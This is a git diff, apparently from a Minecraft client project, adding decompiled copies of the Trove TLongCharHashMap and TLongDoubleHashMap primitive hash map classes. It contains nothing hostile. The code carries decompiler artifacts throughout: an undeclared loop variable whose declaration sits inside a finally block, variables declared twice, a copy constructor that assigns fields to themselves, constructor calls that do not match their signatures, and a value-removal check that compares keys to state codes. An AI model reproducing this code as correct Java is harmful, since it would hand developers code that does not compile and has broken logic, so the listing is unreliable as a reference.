+    for (Map.Entry<? extends Long, ? extends Character> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Character)entry.getValue()).charValue());
+    }
+  }
+  
+
+  public void putAll(TLongCharMap map)
+  {
+    ensureCapacity(map.size());
+    TLongCharIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public char get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(long key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongCharIterator iterator()
+  {
+    return new TLongCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongCharProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(long key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; char[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((char)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(long key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongCharHashMap.TLongCharKeyHashIterator(TLongCharHashMap.this, TLongCharHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongCharHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TLongCharHashMap.TLongCharValueHashIterator(TLongCharHashMap.this, TLongCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TLongCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongCharHashIterator
+    extends THashPrimitiveIterator
+    implements TLongCharIterator
+  {
+    TLongCharHashIterator(TLongCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongCharMap)) {
+      return false;
+    }
+    TLongCharMap that = (TLongCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongDoubleHashMap.java
new file mode 100644
index 0000000..f38ff62
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongDoubleHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TLongDoubleIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TLongDoubleMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TLongDoubleProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongDoubleHashMap
+  extends TLongDoubleHash
+  implements TLongDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TLongDoubleHashMap() {}
+  
+  public TLongDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongDoubleHashMap(int initialCapacity, float loadFactor, long noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongDoubleHashMap(long[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongDoubleHashMap(TLongDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongDoubleHashMap)) {
+      TLongDoubleHashMap hashmap = (TLongDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(long key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(long key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(long key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Double> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TLongDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TLongDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(long key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongDoubleIterator iterator()
+  {
+    return new TLongDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(long key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(long key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongDoubleHashMap.TLongDoubleKeyHashIterator(TLongDoubleHashMap.this, TLongDoubleHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
